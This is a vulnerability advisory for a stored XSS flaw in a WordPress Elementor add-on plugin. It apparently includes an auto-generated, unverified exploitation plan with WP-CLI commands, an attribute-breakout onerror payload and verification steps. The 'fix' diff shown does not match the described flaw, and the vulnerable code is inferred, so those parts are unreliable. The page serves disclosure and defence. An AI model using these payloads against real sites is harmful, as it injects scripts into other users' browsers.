CVE-2026-5428

Royal Addons for Elementor <= 1.7.1056 - Authenticated (Author+) Stored Cross-Site Scripting via Image Caption Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.1057
Patched in
1d
Time to patch

Description

The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. This is due to insufficient output escaping in the render_post_thumbnail() function, where wp_kses_post() is used instead of esc_attr() for the alt attribute context. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page with the malicious image displayed in the media grid widget.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1056
PublishedApril 23, 2026
Last updatedApril 24, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1057

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5428 (Royal Addons for Elementor Stored XSS) ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to 1.7.1056) contains a stored cross-site scripting (XSS) vulnerability in its Image Grid, Slider, and Carousel widgets. The vulnerability ex…

Show full research plan

Exploitation Research Plan: CVE-2026-5428 (Royal Addons for Elementor Stored XSS)

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to 1.7.1056) contains a stored cross-site scripting (XSS) vulnerability in its Image Grid, Slider, and Carousel widgets. The vulnerability exists because the plugin improperly sanitizes image captions/alt text when rendering images via the render_post_thumbnail() function. Specifically, it uses wp_kses_post() on data intended for an HTML attribute context (alt), which fails to escape double quotes. An attacker with Author-level privileges can inject an XSS payload into an image's caption or alt text field, which then executes in the browser of any user viewing a page where that image is displayed using a Royal Addons widget.

2. Attack Vector Analysis

  • Vulnerable Function: render_post_thumbnail() (likely located in includes/classes/utilities.php or widget-specific render files - inferred).
  • Vulnerable Parameter: Image "Caption" (post_excerpt) or "Alt Text" (_wp_attachment_image_alt).
  • Authentication Level: Author or above (users who can upload and edit media).
  • Injection Point: Media Library metadata update.
  • Trigger Point: Any page/post rendering a Royal Addons "Image Grid", "Grid", "Slider", or "Carousel" widget configured to show the malicious image.

3. Code Flow

  1. Entry (Storage): An Author logs into the WordPress dashboard and uploads an image or edits an existing one via wp-admin/post.php?post=[ID]&action=edit (Media edit screen).
  2. Data Persistence: The "Caption" is stored in the post_excerpt column of the wp_posts table. The "Alt Text" is stored in the _wp_attachment_image_alt post meta.
  3. Processing (Rendering): A user views a page containing a Royal Addons Grid/Slider widget. The widget calls render_post_thumbnail() to generate the HTML for the image.
  4. Vulnerable Path:
    • The function retrieves the caption/alt text.
    • It passes the string through wp_kses_post().
    • It echoes the result directly inside the alt="..." attribute of an <img> tag.
  5. Sink: The browser parses the unescaped double quotes, allowing the attacker to break out of the alt attribute and inject event handlers (e.g., onmouseover) or script tags.

4. Nonce Acquisition Strategy

Since this is an authenticated Stored XSS via the Media Library, the primary "nonce" needed is for saving media metadata.

  1. WP-Admin Context: When editing an image in the media library, WordPress uses the _wpnonce generated for the media-form.
  2. Extraction:
    • Navigate to wp-admin/upload.php.
    • Click on an image to open the attachment details.
    • Use browser_eval to extract the nonce from the wp.media object or the hidden fields if the modal is open.
  3. Alternative (CLI-First): Since the agent has Author credentials, it can simply use wp-cli to set the metadata directly, bypassing the need for an HTTP-based nonce for the storage phase, focusing the http_request on the trigger/rendering phase.

5. Exploitation Strategy

The goal is to demonstrate that an Author can inject a payload that executes in an Administrator's browser.

Step 1: Storage (Payload Injection)

Use WP-CLI to prepare the malicious media item (more reliable than UI automation).

# Upload a dummy image
wp media import https://wordpress.org/screenshot.png --title="Exploit Image" --author=author_user --porcelain

# Set the caption (post_excerpt) to the XSS payload
# Payload breaks out of alt=" " and adds an onerror handler
wp post update [IMAGE_ID] --post_excerpt='x" onerror="alert(document.domain)" data-x="'

Step 2: Trigger Creation (Elementor Page)

Create a page using the Royal Grid widget. This requires Elementor-formatted JSON.

# Create a page and set it to use Elementor
PAGE_ID=$(wp post create --post_type=page --post_title="Royal XSS Page" --post_status=publish --porcelain)
wp post meta update $PAGE_ID _elementor_edit_mode builder

# Inferred Elementor Data for Royal Image Grid (wpr-grid)
# Note: The 'wpr_grid_source' should point to the media library or a query including our image.
ELEMENTOR_DATA='[{"id":"ea1b2c3","elType":"widget","widgetType":"wpr-grid","settings":{"wpr_grid_source":"media","wpr_grid_media_library":[{"id":[IMAGE_ID]}]}}]'
wp post meta update $PAGE_ID _elementor_data "$ELEMENTOR_DATA"

Step 3: Trigger Execution

Navigate to the newly created page.

  • Tool: http_request
  • URL: http://[target]/index.php?page_id=[PAGE_ID]
  • Expectation: The response HTML contains <img ... alt="x" onerror="alert(document.domain)" data-x="" ...>.

6. Test Data Setup

  1. User: Create a user with the author role.
    • wp user create attacker attacker@example.com --role=author --user_pass=password123
  2. Plugin: Ensure royal-elementor-addons is active.
  3. Content: The media item and the Elementor page as described in Section 5.

7. Expected Results

  • The HTTP response from the Royal XSS Page will contain the payload string injected into an alt attribute.
  • Specifically, the substring alt="x" onerror="alert(document.domain)" should be visible in the raw HTML.
  • When rendered in a browser, the onerror event (or onmouseover depending on the widget's hover effects) will execute the JavaScript.

8. Verification Steps

  1. Source Check:
    curl -s "http://localhost:8888/?page_id=$PAGE_ID" | grep "onerror=\"alert"
    
  2. Database Check:
    wp db query "SELECT post_excerpt FROM wp_posts WHERE ID=[IMAGE_ID]"
    
  3. Elementor Metadata Check:
    wp post meta get $PAGE_ID _elementor_data
    

9. Alternative Approaches

If the Grid widget does not immediately trigger:

  1. Royal Slider Widget: Try widgetType: "wpr-advanced-slider".
  2. Post Metadata: Some widgets use the "Alt Text" meta field instead of the "Caption". Update _wp_attachment_image_alt with the same payload:
    wp post meta update [IMAGE_ID] _wp_attachment_image_alt 'x" onerror="alert(1)" data-x="'.
  3. Featured Image Grid: Create a standard Post, set the malicious image as the Featured Image, and use a Royal Addons "Post Grid" (wpr-grid with wpr_grid_source: "posts") to display that post. The widget will likely fetch the featured image's alt/caption and trigger the same vulnerable render_post_thumbnail() path.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via image captions and alt text in its Image Grid, Slider, and Carousel widgets. Authenticated attackers with Author-level privileges can inject malicious JavaScript into media metadata which is then improperly escaped using wp_kses_post() within an HTML attribute context, leading to script execution when viewed by other users.

Vulnerable Code

// File: Likely located in includes/classes/utilities.php or widget render classes
// Function: render_post_thumbnail()

// The function retrieves image metadata such as captions or alt text
$image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );

// It then renders the image tag using wp_kses_post instead of esc_attr
// for an attribute context, failing to escape double quotes.
echo '<img class="..." src="..." alt="' . wp_kses_post( $image_alt ) . '">';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php	2026-04-03 11:57:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php	2026-04-10 10:58:42.000000000 +0000
@@ -120,6 +120,8 @@
     register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer');
     register_setting('wpr-extension-settings', 'wpr-custom-css');
     register_setting('wpr-extension-settings', 'wpr-display-conditions');
+    register_setting('wpr-extension-settings', 'wpr-equal-height');
+    // register_setting('wpr-extension-settings', 'wpr-column-slider');
     register_setting('wpr-extension-settings', 'wpr-sticky-section');
 
     // Element Toggle
@@ -1630,6 +1632,12 @@
                         echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
                     } elseif ( 'wpr-display-conditions' === $option_name ) {
                         echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>';
+                    } elseif ( 'wpr-column-slider' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
+                    } elseif ( 'wpr-equal-height' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
                     }
 
                     // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>';
... (truncated)

Exploit Outline

1. Login to the WordPress dashboard with Author-level permissions. 2. Navigate to the Media Library and upload a new image or edit an existing one. 3. In the 'Caption' or 'Alternative Text' field, inject an XSS payload designed to break out of an HTML attribute, such as: x" onerror="alert(document.domain)" data-x=" 4. Create or edit a page using Elementor and add one of the Royal Addons widgets that displays images (e.g., Image Grid, Grid, or Carousel). 5. Configure the widget to display the malicious image from the Media Library. 6. Publish the page and view it. The payload will execute in the context of the user's browser whenever the widget renders the malicious image.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.